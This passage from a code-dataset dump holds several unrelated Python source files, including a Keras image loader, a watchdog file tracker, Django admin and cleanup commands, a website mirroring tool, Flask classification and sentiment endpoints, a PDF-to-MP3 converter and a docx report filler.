{"api_name": "colorama.Fore", "line_number": 117, "usage_type": "name"}, {"api_name": "time.time", "line_number": 123, "usage_type": "call"}, {"api_name": "time.time", "line_number": 125, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 126, "usage_type": "call"}, {"api_name": "inputimeout.TimeoutOccurred", "line_number": 151, "usage_type": "name"}, {"api_name": "XAgentServer.exts.exception_ext.XAgentTimeoutError", "line_number": 153, "usage_type": "call"}]} {"seq_id": "5305927265", "text": "# -*- coding: utf-8 -*-\n\"\"\"Loading a pre-trained model from disk.\n\nLearn how to load a pre-trained model from disk. We will classify individual images from the\nAnimals dataset and then display the classified images to our screen.\n\nExample:\n $ python shallownet_load.py --dataset ../datasets/animals --model shallownet_weights.hdf5\n\nAttributes:\n dataset (str):\n The path to where our input image dataset resides on disk.\n model (str):\n The path to the pre-trained model.\n\"\"\"\nimport argparse\nimport cv2\nimport numpy as np\nfrom keras.models import load_model\nfrom imutils import paths\nfrom pyimagesearch.preprocessing import ImageToArrayPreprocessor\nfrom pyimagesearch.preprocessing import SimplePreprocessor\nfrom pyimagesearch.datasets import SimpleDatasetLoader\n\n\ndef main():\n \"\"\"Load pre-trained model from disk\n \"\"\"\n # construct the argument parse and parse the arguments\n args = argparse.ArgumentParser()\n args.add_argument(\"-d\", \"--dataset\", required=True, help=\"path to input dataset\")\n args.add_argument(\"-m\", \"--model\", required=True, help=\"path to pre-trained model\")\n args = vars(args.parse_args())\n\n # initialize the class labels\n class_labels = [\"cat\", \"dog\", \"panda\"]\n\n # grab the list of images in the dataset then randomly sample indexes into the image paths list\n print(\"[INFO] sampling images...\")\n image_paths = np.array(list(paths.list_images(args[\"dataset\"])))\n idxs = np.random.randint(0, len(image_paths), size=(10,))\n image_paths = image_paths[idxs]\n\n # initialize the image preprocessors\n simple_preprocessor = SimplePreprocessor(32, 32)\n image_to_array_preprocessor = ImageToArrayPreprocessor()\n\n # load the dataset from disk then scale the raw pixel intensities to the range [0, 1]\n dataset_loader = SimpleDatasetLoader(preprocessors=[simple_preprocessor, image_to_array_preprocessor])\n (data, _) = dataset_loader.load(image_paths)\n data = data.astype(\"float\") / 255.0\n\n # load the pre-trained network\n print(\"[INFO] loading pre-trained network...\")\n model = load_model(args[\"model\"])\n\n # make predictions on the images\n print(\"[INFO] predicting...\")\n preds = model.predict(data, batch_size=32).argmax(axis=1)\n # loop over the sample images\n for (i, image_path) in enumerate(image_paths):\n # load the example image, draw the prediction, and display it to our screen\n image = cv2.imread(image_path)\n cv2.putText(\n image, \"Label: {}\".format(class_labels[preds[i]]), (10, 30), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 255, 0), 2\n )\n cv2.imshow(\"Image\", image)\n cv2.waitKey(0)\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "miroso/pis_code", "sub_path": "starter_bundle/ch13-saving_loading/shallownet_load.py", "file_name": "shallownet_load.py", "file_ext": "py", "file_size_in_byte": 2694, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 40, "usage_type": "call"}, {"api_name": "imutils.paths.list_images", "line_number": 40, "usage_type": "call"}, {"api_name": "imutils.paths", "line_number": 40, "usage_type": "name"}, {"api_name": "numpy.random.randint", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 41, "usage_type": "attribute"}, {"api_name": "pyimagesearch.preprocessing.SimplePreprocessor", "line_number": 45, "usage_type": "call"}, {"api_name": "pyimagesearch.preprocessing.ImageToArrayPreprocessor", "line_number": 46, "usage_type": "call"}, {"api_name": "pyimagesearch.datasets.SimpleDatasetLoader", "line_number": 49, "usage_type": "call"}, {"api_name": "keras.models.load_model", "line_number": 55, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 63, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 64, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 65, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 67, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 68, "usage_type": "call"}]} {"seq_id": "32534933197", "text": "import sys\r\nimport time\r\nimport random\r\n\r\nimport os\r\nimport shutil\r\n\r\n\r\nfrom watchdog.observers import Observer\r\nfrom watchdog.events import FileSystemEventHandler\r\n\r\nfrom_dir = \"C:/Users/judit/Downloads\"\r\n\r\nclass FileEventHandler(FileSystemEventHandler):\r\n\r\n def on_created(self, event):\r\n print(f\"¡Oye, {event.src_path} ha sido creado!\")\r\n\r\n def on_deleted(self, event):\r\n print(f\"¡Lo siento! ¡Alguien borró {event.src_path}!\")\r\n\r\n def on_modified(self, event):\r\n print(f\"¡Ve!, {event.src_path} se modificó\")\r\n \r\n def on_moved(self, event):\r\n print(f\"Se movió {event.src_path} a {event.dest_path}\")\r\n\r\nevent_handler = FileEventHandler()\r\n\r\nobserver = Observer()\r\n\r\nobserver.schedule(event_handler, from_dir, recursive=True)\r\n\r\nobserver.start()\r\n\r\ntry:\r\n while True:\r\n time.sleep(2)\r\n print(\"ejecutando...\")\r\nexcept KeyboardInterrupt:\r\n print(\"¡detenido!\")\r\n observer.stop()", "repo_name": "Judith2007/Proyecto-103", "sub_path": "file_system_events_tracker.py", "file_name": "file_system_events_tracker.py", "file_ext": "py", "file_size_in_byte": 949, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "watchdog.events.FileSystemEventHandler", "line_number": 14, "usage_type": "name"}, {"api_name": "watchdog.observers.Observer", "line_number": 30, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 38, "usage_type": "call"}]} {"seq_id": "39590878498", "text": "from django.contrib import admin\n\n# Register your models here.\nfrom .models import Exam, AttemptExam\n# from .models import ExamQuestions\n\nclass ExamAdminConfig(admin.ModelAdmin):\n list_display = ('name','number_of_questions','duration','course','teacher')\n list_filter = ('name','duration','teacher')\n search_fields = ('name','teacher','course','duration')\n # ordering = ('-start_date',)\n\n fieldsets = (\n (None, {\n 'fields':('name','description','number_of_questions','duration')\n }),\n ('Details', {\n 'fields':('course','teacher','student')\n }),\n )\n\n add_fieldsets = (\n (None, {\n 'classes': ('wide',),\n 'fields':('full_name','email','department','qualification','password1','password2','profile_img') # for now we cannot add a username to a student while adding a student. add the username when editing an existing user.\n }),\n ('Permissions', {\n 'classes': ('wide',),\n 'fields':('is_staff','is_superuser','is_active')\n }),\n ('Groups', {\n 'classes': ('wide',),\n 'fields':('groups','user_permissions')\n })\n )\n\nadmin.site.register(Exam, ExamAdminConfig) # , ExamAdminConfig\n# admin.site.register(ExamQuestions)\n# admin.site.register(AttemptExam)", "repo_name": "firasaz/Exam-Management-System", "sub_path": "src/exams/admin.py", "file_name": "admin.py", "file_ext": "py", "file_size_in_byte": 1344, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "django.contrib.admin.ModelAdmin", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 7, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 37, "usage_type": "call"}, {"api_name": "models.Exam", "line_number": 37, "usage_type": "argument"}, {"api_name": "django.contrib.admin.site", "line_number": 37, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 37, "usage_type": "name"}]} {"seq_id": "13959130182", "text": "import os\nimport sys\nimport traceback\nimport uuid\nimport time\nimport copy\nfrom .requester import Requester\nfrom .resources import Resources, Resource\nfrom .writer import Writer\nfrom .window import Window\nfrom .asset import Asset\nfrom .threads import Threader\nfrom .pages import Pages, Page\nfrom .stripper import Stripper\nfrom urlparse import urlparse, urljoin\nfrom threading import *\n\n\nclass Generic(object):\n pass\n\n#TODO NEED TO TREAT DATA LIKE SCRIPTS and replace references\n\nclass Ripper(object):\n\n def __init__(self, logger=None, threads=4):\n self.logger = logger\n self.threads = threads\n self.stats = {}\n self.assets = []\n self.errors = []\n self.pages = []\n self.is_threading = False\n self.extension = \".html\"\n self.totals = {\"pages\":1,\"assets\":0, \"pages_down\":0, \"assets_down\":0}\n self.lock = Lock()\n\n def rip(self,url,base, top_level_pages=True):\n self.url = url\n self.base = base\n self.index_file = os.path.join(base,\"index\" + self.extension)\n self.stats = {}\n self.assets = []\n self.pages = []\n\n index = self._get_page(self.url);\n self._update_totals(\"pages_down\",1)\n\n if not index:\n raise ValueError('Could not access website. Is the URL correct?')\n\n self.pages = self._get_page_links(self.url,index)\n\n if top_level_pages:\n\n self._update_totals(\"pages\",len(self.pages))\n\n for p in self.pages:\n if not p.exists:\n if p.replace_reference:\n content = self._get_page(p.url);\n if not content:\n content = \"\"\n else:\n content = self._update_page_links(content,self.extension)\n pages = self._get_page_links(self.url,content)\n content = self._update_page_links(content,self.extension)\n content = self._remove_page_links(content,pages)\n content = self._remove_trackers(content)\n p.downloaded = True\n\n Writer.write(content,os.path.join(self.base,p.name + self.extension))\n self.logger(self,p)\n self._update_totals(\"pages_down\",1)\n\n index = self._update_page_links(index,self.extension)\n else:\n index = self._remove_page_links(index,self.pages,False)\n\n index = self._remove_trackers(index)\n Writer.write(index,self.index_file)\n self.logger(self,Page(urlparse(self.url).path,self.url,\"index\",False))\n\n def _get_page(self,url,relative_assets=False):\n\n requester = Requester()\n page = requester.get_source(url)\n\n if page:\n\n content = page.text\n marker = str(uuid.uuid4())\n\n threader = False\n if not self.is_threading:\n threader = Threader(self.threads,self._log_asset)\n threader.start(True)\n self.is_threading = True\n\n\n resources = Resources(page)\n self._update_totals(\"assets\",self._get_total_assets_to_download(resources))\n\n for r in resources:\n\n if threader:\n threader.add((self._get_asset,{\"resource\" : r, \"marker\" : marker}))\n else:\n asset = self._get_asset(r,marker)\n self._log_asset(asset)\n\n if threader:\n threader.finish()\n if threader.errors:\n self.errors += threader.errors\n\n return self._update_page_assets(content,marker,relative_assets)\n else:\n return False\n\n def _get_page_links(self,url,content):\n pages = []\n for p in Pages(url,content):\n if p.reference in map(lambda x: x.url, self.assets):\n p.replace_reference = False\n pages.append(p)\n return pages\n\n def _get_asset(self,resource,marker):\n requester = Requester()\n asset_exists = self._find_asset_by_reference(resource,marker)\n if asset_exists:\n return asset_exists\n else:\n asset = Asset(self.base,resource,marker)\n if asset.mime:\n x = requester.get_stream(asset.source.url) if asset.mime.stream else self._get_page(asset.source.url,False if asset.mime.category == \"scripts\" else True)\n if x:\n Writer.write(x,asset.path)\n asset.downloaded = True\n return asset\n\n def _find_asset_by_reference(self,resource,marker):\n find = self._check_asset_exists(resource)\n if find:\n asset = copy.deepcopy(find)\n asset.resource = resource\n asset.marker = marker\n asset.existing = True\n return asset\n else:\n return False\n\n def _check_asset_exists(self,resource):\n find = filter(lambda a: a.source.reference == resource.reference or a.source.url == resource.url,list(self.assets))\n if len(find) > 0:\n return find[0]\n else:\n return False\n\n\n def _log_asset(self,asset):\n if asset.downloaded:\n self._update_stats(asset.mime)\n if not asset.existing:\n self._update_totals(\"assets_down\",1)\n self.assets.append(asset)\n self.logger(self,asset)\n\n def _update_page_assets(self,content,marker,relative_assets):\n for asset in self.assets:\n if asset.downloaded == True and asset.marker == marker:\n content = self._find_and_replace(content,asset.source.reference,asset.relative_url if relative_assets else asset.url)\n return content\n\n def _update_page_links(self,content,extension):\n for page in self.pages:\n if page.replace_reference:\n wrap = \"{0}{1}{0}\"\n content = self._find_and_replace(content,wrap.format('\"',page.reference),wrap.format('\"',page.name + extension))\n content = self._find_and_replace(content,wrap.format(\"'\",page.reference),wrap.format(\"'\",page.name + extension))\n return content\n\n def _remove_page_links(self,content,pages,check_pages=True):\n\n for page in pages:\n if len(filter(lambda p: p.name == page.name,self.pages)) == 0 or not check_pages:\n if page.replace_reference:\n wrap = \"{0}{1}{0}\"\n content = self._find_and_replace(content,wrap.format('\"',page.reference),wrap.format('\"#',page.name))\n content = self._find_and_replace(content,wrap.format(\"'\",page.reference),wrap.format(\"'#\",page.name))\n return content\n\n def _remove_trackers(self, content):\n return Stripper.Strip(content)\n\n def _find_and_replace(self,text,find,replace):\n text = text.replace(find,replace)\n return text\n\n def _update_stats(self,mime):\n if mime.category in self.stats:\n self.stats[mime.category] += 1\n else:\n self.stats[mime.category] = 1\n\n def _update_totals(self,key,value):\n with self.lock:\n self.totals[key] += value\n\n def _get_total_assets_to_download(self,resources):\n #TODO this needs to compare both the reference and the url just like the _find_asset_by_reference\n return len(list(filter(lambda r: self._check_asset_exists(r),list(resources))))\n #return len(list(filter(lambda r: r.reference not in map(lambda a: a.source.reference,list(self.assets)),list(resources._resources))))\n", "repo_name": "bdunford/ripper", "sub_path": "ripper/ripper.py", "file_name": "ripper.py", "file_ext": "py", "file_size_in_byte": 7676, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "70", "api": [{"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "writer.Writer.write", "line_number": 72, "usage_type": "call"}, {"api_name": "writer.Writer", "line_number": 72, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "writer.Writer.write", "line_number": 81, "usage_type": "call"}, {"api_name": "writer.Writer", "line_number": 81, "usage_type": "name"}, {"api_name": "pages.Page", "line_number": 82, "usage_type": "call"}, {"api_name": "urlparse.urlparse", "line_number": 82, "usage_type": "call"}, {"api_name": "requester.Requester", "line_number": 86, "usage_type": "call"}, {"api_name": "requester.get_source", "line_number": 87, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 92, "usage_type": "call"}, {"api_name": "threads.Threader", "line_number": 96, "usage_type": "call"}, {"api_name": "resources.Resources", "line_number": 101, "usage_type": "call"}, {"api_name": "pages.Pages", "line_number": 123, "usage_type": "call"}, {"api_name": "pages.append", "line_number": 126, "usage_type": "call"}, {"api_name": "requester.Requester", "line_number": 130, "usage_type": "call"}, {"api_name": "asset.Asset", "line_number": 135, "usage_type": "call"}, {"api_name": "asset.mime", "line_number": 136, "usage_type": "attribute"}, {"api_name": "asset.mime", "line_number": 137, "usage_type": "attribute"}, {"api_name": "requester.get_stream", "line_number": 137, "usage_type": "call"}, {"api_name": "asset.source", "line_number": 137, "usage_type": "attribute"}, {"api_name": "writer.Writer.write", "line_number": 139, "usage_type": "call"}, {"api_name": "writer.Writer", "line_number": 139, "usage_type": "name"}, {"api_name": "asset.path", "line_number": 139, "usage_type": "attribute"}, {"api_name": "asset.downloaded", "line_number": 140, "usage_type": "attribute"}, {"api_name": "copy.deepcopy", "line_number": 146, "usage_type": "call"}, {"api_name": "asset.resource", "line_number": 147, "usage_type": "attribute"}, {"api_name": "asset.marker", "line_number": 148, "usage_type": "attribute"}, {"api_name": "asset.existing", "line_number": 149, "usage_type": "attribute"}, {"api_name": "asset.downloaded", "line_number": 163, "usage_type": "attribute"}, {"api_name": "asset.mime", "line_number": 164, "usage_type": "attribute"}, {"api_name": "asset.existing", "line_number": 165, "usage_type": "attribute"}, {"api_name": "asset.downloaded", "line_number": 172, "usage_type": "attribute"}, {"api_name": "asset.marker", "line_number": 172, "usage_type": "attribute"}, {"api_name": "asset.source", "line_number": 173, "usage_type": "attribute"}, {"api_name": "asset.relative_url", "line_number": 173, "usage_type": "attribute"}, {"api_name": "asset.url", "line_number": 173, "usage_type": "attribute"}, {"api_name": "stripper.Stripper.Strip", "line_number": 195, "usage_type": "call"}, {"api_name": "stripper.Stripper", "line_number": 195, "usage_type": "name"}]} {"seq_id": "23900711135", "text": "import os\nimport flask\nfrom flask import Flask, render_template, request, redirect\nfrom src.components.inference import Inference\n\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\nimport nltk \nfrom string import punctuation\nimport re\nfrom nltk.corpus import stopwords\nfrom flask import jsonify\n\nnltk.download('stopwords')\n\nset(stopwords.words('english'))\n\n\n\napp = Flask(__name__, template_folder='template')\n\ninferencing = Inference()\n\n@app.route('/')\ndef home():\n return render_template('home.html')\n\n\n@app.get(\"/image_classifier\")\ndef image_classifier():\n return render_template(\"./image_classifier.html\")\n\n@app.get(\"/sentiment_analysis\")\ndef sentiment_analysis():\n return render_template(\"./sentiment_analysis.html\")\n\n\n@app.route('/image_classifier', methods=['GET', 'POST'])\ndef upload_file():\n if request.method == 'POST':\n if 'file' not in request.files:\n return redirect(request.url)\n file = request.files.get('file')\n if not file:\n return\n img_bytes = file.read()\n class_id, class_name = inferencing.predict_class(image=img_bytes)\n return jsonify(class_name=class_name)\n return render_template('./home.html')\n\n@app.route('/sentiment_analysis', methods=['POST'])\ndef my_sentiment_analysis_post():\n stop_words = stopwords.words('english')\n \n text1 = request.form['text1'].lower()\n \n text_final = ''.join(c for c in text1 if not c.isdigit())\n \n processed_doc1 = ' '.join([word for word in text_final.split() if word not in stop_words])\n\n sa = SentimentIntensityAnalyzer()\n dd = sa.polarity_scores(text=processed_doc1)\n compound = round((1 + dd['compound'])/2, 2)\n\n return render_template('sentiment_analysis.html', final=compound, text1=text_final, text2=dd['pos'], text3=dd['neu'], text4=dd['neg'])\n\nif __name__ == '__main__':\n app.run(debug=True, port=int(os.environ.get('PORT', 5000)))", "repo_name": "AmineMekki01/tp_module_dl", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 2044, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "nltk.download", "line_number": 15, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 17, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 17, "usage_type": "name"}, {"api_name": "flask.Flask", "line_number": 21, "usage_type": "call"}, {"api_name": "src.components.inference.Inference", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 32, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 41, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 41, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 42, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 42, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.request.url", "line_number": 43, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 43, "usage_type": "name"}, {"api_name": "flask.request.files.get", "line_number": 44, "usage_type": "call"}, {"api_name": "flask.request.files", "line_number": 44, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 44, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 49, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 50, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 54, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 54, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 56, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 56, "usage_type": "name"}, {"api_name": "vaderSentiment.vaderSentiment.SentimentIntensityAnalyzer", "line_number": 62, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 66, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 69, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 69, "usage_type": "attribute"}]} {"seq_id": "5845686721", "text": "import PyPDF2\nfrom pathlib import Path\nfrom gtts import gTTS\nfrom googletrans import Translator\n\n\ndef define_language(text):\n \"\"\"Defines language received text and return it\"\"\"\n translator = Translator()\n language = translator.detect(text).lang\n return language\n\n\ndef pdf_to_mp3(pdf_file_path, output_dir_path):\n \"\"\"Extract text from pdf file and convert it to mp3 file. Return output audiofile path or None in case if passed\n incorrect file path or file is not pdf.\"\"\"\n if Path(pdf_file_path).is_file() and Path(pdf_file_path).suffix == '.pdf':\n with open(pdf_file_path, 'rb') as pdf:\n reader = PyPDF2.PdfFileReader(pdf, strict=False)\n all_pages = [page.extract_text() for page in reader.pages]\n text_from_pdf = ''.join(all_pages).replace('\\n', '') # line breaks are deleted to sound without long pauses\n\n output_audio = gTTS(text=text_from_pdf, lang=define_language(text_from_pdf))\n mp3_file_name = f'{Path(pdf_file_path).stem}.mp3'\n output_audio.save(f'{output_dir_path}/{mp3_file_name}')\n\n return mp3_file_name\n\n\npdf_to_mp3('uploads/Test_PDF.pdf', 'downloads')", "repo_name": "dzmitryboika1/PDF_to_MP3_FLASK_APP", "sub_path": "converter.py", "file_name": "converter.py", "file_ext": "py", "file_size_in_byte": 1150, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "googletrans.Translator", "line_number": 9, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 17, "usage_type": "call"}, {"api_name": "PyPDF2.PdfFileReader", "line_number": 19, "usage_type": "call"}, {"api_name": "gtts.gTTS", "line_number": 23, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 24, "usage_type": "call"}]} {"seq_id": "4123997769", "text": "import os\nfrom collections import defaultdict\n\nfrom django.apps import apps\nfrom django.conf import settings\nfrom django.core.management.base import BaseCommand, CommandError\nfrom django.db import models\n\n\nclass Command(BaseCommand):\n help = \"Prints a list of all files in MEDIA_ROOT that are not referenced in the database.\"\n\n def handle(self, *args, **options):\n if not getattr(settings, 'MEDIA_ROOT'):\n raise CommandError(\"MEDIA_ROOT is not set, nothing to do\")\n\n # Get a list of all files under MEDIA_ROOT\n media = set()\n for root, dirs, files in os.walk(settings.MEDIA_ROOT):\n for f in files:\n media.add(os.path.abspath(os.path.join(root, f)))\n\n # Get list of all fields (value) for each model (key)\n # that is a FileField or subclass of a FileField\n model_dict = defaultdict(list)\n for model in apps.get_models():\n for field in model._meta.fields:\n if issubclass(field.__class__, models.FileField):\n model_dict[model].append(field)\n\n # Get a list of all files referenced in the database\n referenced = set()\n for model in model_dict:\n for db_object in model.objects.all().iterator():\n for field in model_dict[model]:\n target_file = getattr(db_object, field.name)\n if target_file:\n referenced.add(os.path.abspath(target_file.path))\n\n # Delete and print each file in MEDIA_ROOT that is not referenced in the database\n not_referenced = media - referenced\n print(media)\n print(referenced)\n for filename in not_referenced:\n try:\n os.remove(filename)\n print(f\"Removed {filename}\")\n except OSError as e:\n print(f\"Can not remove {filename}! {e}\")\n", "repo_name": "artem30801/anthrofractal-web", "sub_path": "comic/management/commands/mediacleanup.py", "file_name": "mediacleanup.py", "file_ext": "py", "file_size_in_byte": 1898, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.core.management.base.BaseCommand", "line_number": 10, "usage_type": "name"}, {"api_name": "django.conf.settings", "line_number": 14, "usage_type": "argument"}, {"api_name": "django.core.management.base.CommandError", "line_number": 15, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 19, "usage_type": "call"}, {"api_name": "django.conf.settings.MEDIA_ROOT", "line_number": 19, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 19, "usage_type": "name"}, {"api_name": "os.path.abspath", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 25, "usage_type": "call"}, {"api_name": "django.apps.apps.get_models", "line_number": 26, "usage_type": "call"}, {"api_name": "django.apps.apps", "line_number": 26, "usage_type": "name"}, {"api_name": "django.db.models.FileField", "line_number": 28, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}, {"api_name": "os.path.abspath", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 46, "usage_type": "call"}]} {"seq_id": "27028793700", "text": "import json\nimport argparse\n\nparser = argparse.ArgumentParser(description='main', formatter_class=argparse.ArgumentDefaultsHelpFormatter)\nparser.add_argument('--dataset', default='MAGCS')\nparser.add_argument('--model', default='ensemble')\nargs = parser.parse_args()\ndataset = args.dataset\nmodel_name = args.model\n\nlabel2id = {}\nid2label = {}\nwith open(f'./Sandbox/Data/{dataset}/label2id.txt') as fin:\n\tfor line in fin:\n\t\tdata = line.strip().split()\n\t\tlabel = data[0]\n\t\tidx = data[1]\n\t\tlabel2id[label] = idx\n\t\tid2label[idx] = label\n\npapers = []\npreds_prev = []\nwith open(f'../{dataset}/{dataset}_predictions_{model_name}.json') as fin:\n\tfor line in fin:\n\t\tdata = json.loads(line)\n\t\tpapers.append(data['paper'])\n\t\tpred_prev = [label2id[x[0]] for x in data['predictions']]\n\t\tpreds_prev.append(pred_prev)\n\npreds = []\nwith open(f'./Sandbox/Results/{dataset}/score_mat.txt') as fin, \\\n\t open(f'../{dataset}/{dataset}_predictions_futex.json', 'w') as fout:\n\tfor idx, line in enumerate(fin):\n\t\tif idx == 0:\n\t\t\tcontinue\n\t\tdata = line.strip().split()\n\t\tscores = {}\n\t\tfor y in data:\n\t\t\ty_tup = y.split(':')\n\t\t\tscores[y_tup[0]] = float(y_tup[1])\n\t\tscores_sorted = sorted(scores.items(), key=lambda x:x[1], reverse=True)\n\n\t\tpred_prev = preds_prev[idx-1]\n\t\tpred = pred_prev + [y[0] for y in scores_sorted if y[0] not in pred_prev]\n\n\t\tout = {}\n\t\tout['paper'] = papers[idx-1]\n\t\tout['predictions'] = [[id2label[x], 1] for x in pred if x in id2label]\n\t\tfout.write(json.dumps(out)+'\\n')\n", "repo_name": "yuzhimanhua/FUTEX", "sub_path": "self_train/postprocess.py", "file_name": "postprocess.py", "file_ext": "py", "file_size_in_byte": 1469, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 14, "dataset": "github-code", "pt": "70", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 4, "usage_type": "call"}, {"api_name": "argparse.ArgumentDefaultsHelpFormatter", "line_number": 4, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 25, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 49, "usage_type": "call"}]} {"seq_id": "74599057190", "text": "import os\nfrom datetime import datetime, date\nimport django\n\n# from django.contrib.auth.models import User\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'social_media.settings')\ndjango.setup()\nfrom core.attachement.models import AttachementModel\n\n# AUTH_USER_MODEL = \"core.UserModel\"\nattachement = AttachementModel(\n id=1,\n messagesUserId=1,\n fileUrl='https:k/#@sangnt84',\n thumbUrl='https:k/#@sangnt84',\n createdAt='2016-03-09T03:30:25.1263499Z',\n updatedAt='2016-03-09T03:30:25.1263499Z',\n messengesGroupId=None,\n)\nattachement.save()\n", "repo_name": "nguyenanh2222/social_media", "sub_path": "test/model/attchement.py", "file_name": "attchement.py", "file_ext": "py", "file_size_in_byte": 559, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.environ.setdefault", "line_number": 6, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 6, "usage_type": "attribute"}, {"api_name": "django.setup", "line_number": 7, "usage_type": "call"}, {"api_name": "core.attachement.models.AttachementModel", "line_number": 11, "usage_type": "call"}]} {"seq_id": "15378255772", "text": "# import python modules\nimport os\n\nfrom docxtpl import DocxTemplate, InlineImage\n\n# create a document object\n# Документ -шаблон\ndoc = DocxTemplate(\"shablon_mnz.docx\")\n\nDATE = \"25.01.2023\"\n\n###################################### ОБРАБОТКА катлога с файлами ############\n\n\n##УКАзываем путь к директории с файлами\npath = \"c:/PYTHON/diplom_Viligdanov T/Files\"\n\n# Получаем список всех файлов в каталоге\nfun = lambda x: os.path.isfile(os.path.join(path, x))\n\nfiles_list = filter(fun, os.listdir(path))\n\n# Создайте список файлов в каталоге вместе с указанием размера\nsize_of_file = [\n (f, os.stat(os.path.join(path, f)).st_size)\n for f in files_list\n]\n\n# Iterate over list of files along with size\n# and print them one by one.\n# Выполнить итерацию по списку файлов с указанием размера\n# и распечатайте их один за другим\n\n# count = int(0)\n# Функция для обработки списка\n\n\n# format(GH, df, inDx1, f[0:], NumFile, inDx2, s)\n\n\n# print(\"df=\", GH + df)\n# print(\"inDx1=\", inDx1)\n# print(\"inDx2=\", inDx2)\n# print(\"f=\", f)\n# print(type(f))\n# print(\"size_file=\", size)\n#\n# print(\"NumFile=\", NumFile)\n# print(size_of_file)\n#\n# print(len(size_of_file))\n\n############################---Заполнение МНЗ---##########################\n\n\n# create data for reports\nsalesTblRows = []\n# for k in range(len(size_of_file)):\n\nfor f, size in size_of_file:\n k = 0\n g = str(f)\n start = g.find('_')\n end = g.find('.d')\n\n asg = g.find('сб') # если нашли буквы вп, то к номеру файла прибавляем ВП\n asg1 = g.find('СБ')\n\n asg2 = g.find('вп') # если нашли буквы вп, то к номеру файла прибавляем ВП\n asg22 = g.find('ВП')\n\n asg3 = g.find('тэ4') # если нашли буквы вп, то к номеру файла прибавляем ВП\n asg33 = g.find('ТЭ4')\n\n asg4 = g.find('мэ') # если нашли буквы мэ, то к номеру файла прибавляем МЭ\n asg44 = g.find('МЭ')\n\n if asg > 0 or asg1 > 0:\n inDx1 = 'Сборочный чертеж'\n inDx2 = 'СБ'\n elif asg2 > 0 or asg22 > 0:\n inDx1 = 'Ведомость покупных изделий'\n inDx2 = 'ВП'\n elif asg3 > 0 or asg33 > 0:\n inDx1 